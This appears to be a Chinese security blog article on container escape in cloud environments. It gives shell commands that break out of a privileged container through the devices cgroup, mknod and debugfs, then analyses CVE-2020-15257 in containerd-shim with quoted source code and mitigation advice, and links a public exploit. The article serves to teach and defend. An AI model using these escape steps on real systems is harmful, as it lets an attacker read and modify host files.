另外一个比较小众方法是借助上面 lxcfs 的思路,复用到 sys_admin 或特权容器的场景上读写母机上的文件。
-
首先我们还是需要先创建一个 cgroup 但是这次是 device subsystem 的。
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
-
修改当前已控容器 cgroup 的 devices.allow,此时容器内已经可以访问所有类型的设备,命令:
echo a >
/tmp/dev/docker/b76c0b53a9b8fb8478f680503164b37eb27c2805043fecabb450c48eaad10b57/devices.allow
-
同样的,我们可以使用 mknod 创建相应的设备文件目录并使用 debugfs 进行访问,此时我们就有了读写宿主机任意文件的权限。
mknod near b 252 1
debugfs -w near
漏洞介绍
2020/11/30,公开了 CVE-2020-15257 的细节。该漏洞影响 containerd 1.3.x, 1.2.x, 1.4.x 版本。由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器为 root 权限,且容器的网络模式为 --net=host 的时候,通过 ontainerd-shim API 可以达成容器逃逸的目的。
containerd-shim
在进一步了解漏洞原理之前, 了解一下containerd-shim 是什么?
在 1.11 版本中,Docker 进行了重大的重构,由单一的 Docker Daemon,拆分成了 4 个独立的模块:Docker Daemon、containerd、containerd-shim、runC。
其中,containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。
它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。containerd 还提供了可用于与其交互的 API 和客户端应用程序 ctr。所以实际上,即使不运行 Docker Daemon,也能够直接通过 containerd 来运行、管理容器。
而中间的 containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd
最终 containerd-shim 创建的容器的操作其实还是落实到了 runc 上, 而众所周知runC 是一个根据 OCI (Open Container Initiative)标准创建并运行容器的 CLI tool。
漏洞原理
API 接口过于暴露导致漏洞产生,而 containerd-shim 的 API 接口由 Unix 域套接字 实现。代码实现位于https://github.com/containerd/containerd/blob/b321d358e6eef9c82fa3f3bb8826dca3724c58c6/runtime/v1/linux/bundle.go#L136
实际上在, docker 容器中(以 –net=host 运行), containerd-shim API 大概长这样
1)/var/run/docker.sock:Docker Daemon 监听的 Unix 域套接字,用于 Docker client 之间通信;
2)/run/containerd/containerd.sock:containerd 监听的 Unix 域套接字,Docker Daemon、ctr 可以通过它和 containerd 通信;
3)@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:
如上文所述,containerd-shim 监听的 Unix 域套接字,containerd 通过它和 containerd-shim 通信,控制管理容器。
/var/run/docker.sock、/run/containerd/containerd.sock 这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享 mnt 命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部之间仍然不能通过 /var/run/docker.sock、/run/containerd/containerd.sock 这样的路径连接对应的 Unix 域套接字。但是 @/containerd-shim/{sha256}.sock 这一类的抽象 Unix 域套接字不一样,它没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。
containerd 传递 Unix 域套接字文件描述符给 containerd-shim。containerd-shim 在正式启动之后,会基于父进程(也就是 containerd)传递的 Unix 域套接字文件描述符,建立 gRPC 服务,对外暴露一些 API 用于 container、task 的控制:
通过查阅代码,我们大概知道我们如果能正常访问 containerd-shim 接口,我们大概能有这些操作https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
}
通过查看代码UnixSocketRequireSameUser 仅仅检查了访问进程的 euid 和 egid ,而在默认情况下容器内部的进程都是以 root 用户启动,所以这个限制可以忽略不计。https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80
// UnixSocketRequireSameUser resolves the current effective unix user and returns aStephen J Day, 3 years ago: • vendor: update ttrpc to pull in euid change
// UnixCredentialsFunc that will validate incoming unix connections against the
// current credentials.
//
// This is useful when using abstract sockets that are accessible by all users.
func UnixSocketRequireSameUser() UnixCredentialsFunc {
euid, egid := os.Geteuid(), os.Getegid()
return UnixSocketRequireUidGid(euid, egid)
}
func requireRoot(ucred *unix.Ucred) error {
return requireUidGid(ucred, 0, 0)
}
func requireUidGid(ucred *unix.Ucred, uid, gid int) error {
if (uid != -1 && uint32(uid) != ucred.Uid) || (gid != -1 && uint32(gid) != ucred.Gid) {
return errors.Wrap(syscall.EPERM, "ttrpc: invalid credentials")
}
return nil
}
漏洞利用
漏洞利用需要构建 gRPC ,我们可以通过查阅代码, 查看 ontainerd 项目呢关于 shim-client 是如何编写的
// WithConnect connects to an existing shim
func WithConnect(address string, onClose func()) Opt {
return func(ctx context.Context, config shim.Config) (shimapi.ShimService, io.Closer, error) {
conn, err := connect(address, anonDialer)
if err != nil {
return nil, nil, err
}
client := ttrpc.NewClient(conn, ttrpc.WithOnClose(onClose))
return shimapi.NewShimClient(client), conn, nil
}
}
通过 ttrpc 构建 client,此时 conn 为 unix 套字节,然后返回 client
... ...
c, clo, err := WithConnect(address, func() {})(ctx, config)
if err != nil {
return nil, nil, errors.Wrap(err, "failed to connect")
}
return c, clo, nil
// ShimRemote is a ShimOpt for connecting and starting a remote shim
func ShimRemote(c *Config, daemonAddress, cgroup string, exitHandler func()) ShimOpt {
return func(b *bundle, ns string, ropts *runctypes.RuncOptions) (shim.Config, client.Opt) {
config := b.shimConfig(ns, c, ropts)
return config,
client.WithStart(c.Shim, b.shimAddress(ns, daemonAddress), daemonAddress, cgroup, c.ShimDebug, exitHandler)
}
func (r *Runtime) Create(ctx context.Context, id string, opts runtime.CreateOpts) (_ runtime.Task, err error) {
namespace, err := namespaces.NamespaceRequired(ctx)
if err != nil {
return nil, err
}
if err := identifiers.Validate(id); err != nil {
return nil, errors.Wrapf(err, "invalid task id")
}
ropts, err := r.getRuncOptions(ctx, id)
if err != nil {
return nil, err
}
bundle, err := newBundle(id,
filepath.Join(r.state, namespace),
filepath.Join(r.root, namespace),
opts.Spec.Value)
if err != nil {
return nil, err
}
defer func() {
if err != nil {
bundle.Delete()
}
}()
shimopt := ShimLocal(r.config, r.events)
if !r.config.NoShim {
var cgroup string
if opts.TaskOptions != nil {
v, err := typeurl.UnmarshalAny(opts.TaskOptions)
if err != nil {
return nil, err
}
cgroup = v.(*runctypes.CreateOptions).ShimCgroup
}
exitHandler := func() {
log.G(ctx).WithField("id", id).Info("shim reaped")
if _, err := r.tasks.Get(ctx, id); err != nil {
// Task was never started or was already successfully deleted
return
}
if err = r.cleanupAfterDeadShim(context.Background(), bundle, namespace, id); err != nil {
log.G(ctx).WithError(err).WithFields(logrus.Fields{
"id": id,
"namespace": namespace,
}).Warn("failed to clean up after killed shim")
}
}
shimopt = ShimRemote(r.config, r.address, cgroup, exitHandler)
}
漏洞复现
当容器和宿主机共享一个 net namespace 时(如使用 –net=host 或者 Kubernetes 设置 pod container 的 .spec.hostNetwork 为 true)攻击者可对拥有特权的 containerd shim API 进行操作,可能导致容器逃逸获取主机权限、修改主机文件等危害。
官方建议升级 containerd 以修复和防御该攻击;当然业务在使用时,也建议如无特殊需求不要将任何 host 的 namespace 共享给容器,如 Kubernetes PODS 设置 hostPID: true、hostIPC: true、hostNetwork: true 等。
测试升级 containerd 可能导致运行容器退出或重启,有状态容器节点的升级要极为慎重,因此业务针对该问题进行 containerd 升级的概率并不高。
利用目前最方便的 EXP 为:https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn
参考
https://developer.aliyun.com/article/765449
https://bestwing.me/CVE-2020-15257-anaylysis.html
(沙龙预告:海报还没做出来,但下周一月底会有场沙龙哟)
原文始发于微信公众号(东方隐侠安全团队):第六节:云上容器安全威胁(三)持久化与权限提升
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论